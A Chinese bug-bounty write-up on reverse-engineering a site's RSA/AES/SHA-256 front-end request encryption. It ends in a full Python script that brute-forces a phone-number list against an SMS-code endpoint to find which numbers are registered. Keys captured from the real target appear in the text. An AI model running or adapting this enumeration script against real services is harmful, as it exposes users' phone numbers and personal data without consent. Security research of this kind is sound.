挖洞實戰之資訊泄露與前端加密

 前言

本文並非密碼向,不會對演算法過程/程式碼邏輯進行具體闡述,因為這沒有意義,實戰的時候肯定是具體問題具體分析,所以了解個大致流程就行。

 在挖洞過程中,很容易找到一些登錄/忘記密碼是手機驗證碼驗證的站,有些站對發送驗證碼這一環節並未做太多的限制,理論上可以藉助這個漏洞進行爆破,從而得出資料庫內所有已註冊手機號,這也算一種資訊泄露。這種洞十分好挖,對技術要求不高,很適合SRC入門!

 如果站點在請求的時候存在前端加密,大概都是常規的AES或RSA(比如以前的京東/B站)。所以寫篇文章,整理下思路。

 尋源

 前幾天挖洞的時候就看到個發送驗證碼的

image-20220316142759029.png

 先跑一百個請求,對發包沒有做什麼限制,說明有門!

image-20220316143420919.png

 但問題來了,請求體是這樣的,明顯進行了前端加密,要想爆破,還得先找出加密邏輯。

image-20220316143508522.png

 打開F12,發現控制台在輸出東西,

image-20220316191222919.png

 再看資源文件,chunk文件加上index,那直接去找index.js文件即可。

image-20220316191309292.png

 然後就是要找到具體位置了,c0ny1表哥給出了一些好辦法,詳情見快速定位前端加密方法

 可惜在這個站上不怎麼好使,只能慢慢找了。

 一般前端加密都是用JSEncrypt庫的,所以可以試試搜一些jsencrypt相關的方法名,如setPublicKeyencrypt

 若壓縮過的程式碼看得太累,可以試試用//jsnice.org/美化下。

 不要手撕js,會變得不幸。

 首先打開F12,點開源程式碼,點個js文件,之後再點下左下角的美化按鈕

image-20220316192636305.png

 程式碼就變得好看多了

image-20220316192721656.png

 嘗試性的搜了下encrypt,位置大概就被我找到了。

image-20220316193020888.png

 這裡有很多個函數,如encodeRSAdecodeRSAgetKeyRSADefaultencodeAESdecodeAESgetKeyAESsignature這種函數名,可以說是再明顯不過的提示了。

 分析

 經過不眠不休的折磨,我逐漸理解了一切。

 0.DEMO

 先了解一下JSEncrypt庫,十分簡單

import JSEncrypt from 'jsencrypt'

//加密
var encryptor = new JSEncrypt()
var pubKey = '-----BEGIN PUBLIC KEY-----公鑰-----END PUBLIC KEY-----'
encryptor.setPublicKey(pubKey)//設置公鑰
var rsaPassWord = encryptor.encrypt('要加密的內容')

//解密
var decrypt = new JSEncrypt()
var priKey  = '-----BEGIN RSA PRIVATE KEY-----私鑰-----END RSA PRIVATE KEY----'
decrypt.setPrivateKey(priKey)//設置秘鑰
var uncrypted = decrypt.decrypt("要解密的內容")//解密之前拿公鑰加密的內容

 1.RSA

 首先在疑似RSA加密的位置的結尾下個斷點,

image-20220316193942854.png

 為什麼要在結尾?大概思路是:不去關心這個函數的具體邏輯,因為太費勁;由結果推過程,直接看程式碼運行結束後那些參數以及返回值,以此結合所學知識/經驗去推斷這個函數的作用。

 我們不是來做密碼題的,我們只是來挖洞的。

 然後會發現,右邊有一大堆參數。

image-20220316194411297.png

 好,再看encodeRSA函數,已知n為0,該函數有用的部分就變成這樣了

image-20220316195043527.png

 而s["JSEncrypt"]很明顯,是JSEncrypt庫的JSEncrypt對象,那將程式碼整理一下就是:

function() {
   o = new JSEncrypt();
   o.setPublicKey(a);
   return o.encrypt(t)
}

 看,其實就是普通的RSA加密!

 而且RSA公鑰也給了,就是參數a

image-20220316213818326.png

 然後加密字元串參數t,其值為PHVDHENXNREOEVON。這個值是網頁在載入的時候就執行getKeyAES函數得出的結果。

image-20220316001641218.png

 在F12的控制台中執行一下,能夠輸出相似的結果。

image-20220316213619779.png

 JSEncrypt的默認RSA加密機制是RSAES-PKCS1-V1_5,而且還會進行base64編碼。

image-20220316214735598.png

 扔到CyberChef先放著,待會有用。

image-20220316213941415.png

 加密完了,該嘗試解密了。解密需要私鑰。一般前端加密,公鑰都會直接放到JS里,如果需要解密,那私鑰也可能放這。

 隨便看了下,公鑰和私鑰就在下面,比較了下這個公鑰和之前斷點跑出的公鑰也對的上。

image-20220316215057485.png

 這樣,就可以解密了。

image-20220316215159937.png

 2.AES

 接下來就是AES,同樣的,下個斷點看結果。

image-20220316215523284.png

 能夠發現,參數e是輸入的值,參數t的值和之前那個值一模一樣,同時也是需要加密的字元串。

 而且AES相關參數也給出了:

image-20220316221254884.png

 初始向量:1234567812345678,CBC模式,zeropadding填充。

 AES的話,CyberChef沒有padding相關選項,運算結果末位有所不同,所以用另一個表哥寫的工具://github.com/Leon406/ToolsFx

image-20220316224350262.png

 解碼的話也是一樣,畢竟是對稱加密。

 3.SHA-256

SHA-2,名稱來自於安全散列演算法2(Secure Hash Algorithm 2)的縮寫,一種密碼散列函數演算法標準,屬於SHA演算法之一,是SHA-1的後繼者。其下又可再分為六個不同的演算法標準,包括了:SHA-224、SHA-256、SHA-384、SHA-512、SHA-512/224、SHA-512/256

 這裡就是最後的波紋了,也是最複雜的地方。

 還是一樣的思路,但由於輸入的參數不好猜,於是我在同一行加了好多個斷點去看參數變化,這是一個非常好滴技巧!如下圖所示,每個藍色三角形就是斷點。

 在這能發現,這段程式碼的意思就是將e組合起來,鍵值對加等號且再用逗號相連變成字元串n

image-20220316133316256.png

 之後又將字元串n進行了相關處理,去掉逗號空格啊,加上括弧啊,最後輸出格式如下:

{clientId=P_AIAS_ROS, encodeKey=GqdPQJptPlZctYZ+tEBo0MDTD7TntMDsrN3ATv5SC/WScxyhpYu/WoQsI0u42eDphmlhuHYWA6rPbWlcDYfyrHN8HWrrzHe+X7aiQh9Hnb1iR//I3abF4+Td641b1SeeYdU3aloc3ScaS8+CbVARKiM9g27R8CKk8Dbekb6lMEk=, requestData=Cy8UWBCz0dwJUBQ1u5BJr1jxicrnJ6YnrwchucXDanOVdV8Pp3rn1Uq35FB3pR7I, requestId=1647409240148, secret=test, timestamp=20220316014040}

 好,接下來來驗證一下

 這是返回值89a6716fb3958c180837569a4a50a093a2bfa0ab6763a3b439a05b78e80d38f9

image-20220316135647792.png

 輸出結果對的上,說明沒錯:

image-20220316140038651.png

 看著下圖的請求體,最後總結一下。

image-20220316140842871.png

 1.在網頁載入的時候先獲取一個長度16的AES KEY,然後對這個AES KEY進行RSA+Base64加密,結果為encodeKey

 2.將{"phone":"13888888888","smsCode":""}這個格式的字元串,根據AES KEY進行AES+Base64加密,結果為requestData

 3.clientIdrequestIdtimestamp不影響。這三個參數並未參與密碼運算,可以任意更改。

 4.將所有參數融合進行SHA256加密來簽名。

 爆破

 分析完畢,那麼接下來就可以開始爆破了。

 接下來有兩種做法:

 1.寫Python程式碼。因為思路以及理清且加密邏輯簡單,可以直接手搓。

 2.寫JavaScript程式碼,配合c0ny1表哥的插件//github.com/c0ny1/jsEncrypter

 在這裡我選擇1,具體程式碼如下:

import hashlib
import urllib3
import requests
import base64
from Crypto.Cipher import AES

urllib3.disable_warnings()

# aes的key和初始向量
key = 'PHVDHENXNREOEVON'
vi = '1234567812345678'
url = ""
headers = {"Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"98\", \"Google Chrome\";v=\"98\"",
          "Accept": "application/json, text/plain, */*", "Content-Type": "application/json;charset=UTF-8",
          "Sec-Ch-Ua-Mobile": "?0",
          "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36",
          "Token": "undefined", "Sec-Ch-Ua-Platform": "\"Windows\"",
          "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty",
          "Accept-Encoding": "gzip, deflate",
          "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}


def AES_Encrypt(data):
   global key
   global vi
   pad = lambda s: s + (16 - len(s) % 16) * chr(0)
   data = pad(data)
   # 字元串補位
   cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
   encryptedbytes = cipher.encrypt(data.encode('utf8'))
   # 加密後得到的是bytes類型的數據
   encodestrs = base64.b64encode(encryptedbytes)
   # 使用Base64進行編碼,返回byte字元串
   enctext = encodestrs.decode('utf8')
   # 對byte字元串按utf-8進行解碼
   return enctext


def AES_Decrypt(data):
   global key
   global vi
   data = data.encode('utf8')
   encodebytes = base64.decodebytes(data)
   # 將加密數據轉換位bytes類型數據
   cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
   text_decrypted = cipher.decrypt(encodebytes)
   text_decrypted = text_decrypted.rstrip(b'\0')
   # 去補位
   text_decrypted = text_decrypted.decode('utf8')
   return text_decrypted


def sha256(text):
   return hashlib.sha256(text.encode()).hexdigest()


phone_list = []
with open('test-phone.txt', 'r', encoding='utf8') as f:
   for i in f:
       phone_list.append(i.strip())

for i in phone_list:
   requestsData = AES_Encrypt('{"phone":"%s","smsCode":""}' % i)
   encodeKey = "lFd5OEc6BEDbh/KA/JiYNOG1xoQY3GgwS8HAjWAVUt19zxXEzjvtice8EZapgHY0HqyEUaZT6lLFTXHfmJ0qXLyPLVzf01yQ0UMIWYQOHPyDygm4JXW/7OBO1dpb3uTjo0MF0YO0U3+LF+LfNHvbqByeXgj1vmswlrNSQMmRgmw="
   sign_exp = '{clientId=1, encodeKey=%s, requestData=%s, requestId=1, secret=test, timestamp=1}' % (
       encodeKey, requestsData)
   sign = sha256(sign_exp)
   json = {"clientId": "1",
           "encodeKey": encodeKey,
           "requestData": requestsData, "requestId": "1",
           "sign": sign, "timestamp": "1"}
   res = requests.post(url, headers=headers, json=json, verify=False)
   try:
       result = AES_Decrypt(res.text.strip())
       if '該手機號未查詢到用戶' in result:
           print("未註冊" + i)
       else:
           print("查詢到了:" + i)
   except Exception as e:
       print(e)
       print(res.text)
       exit()

 程式碼中我保持encodeKey不變,這樣意味著AES KEY不變,爆破程式碼就可以不用寫RSA相關了。

 因為返回的值長這樣,也是一個AES加密,所以寫了個AES_Decrypt函數用於解密返回包。

image-20220316232124176.png

image-20220316232136887.png

 這種爆破手機號的洞我也嘗試去投了兩個到CNVD,一個歸檔一個駁回,打個資訊泄露擦邊球著實難以界定。

 更多靶場實驗練習、網安學習資料,請點擊這裡>>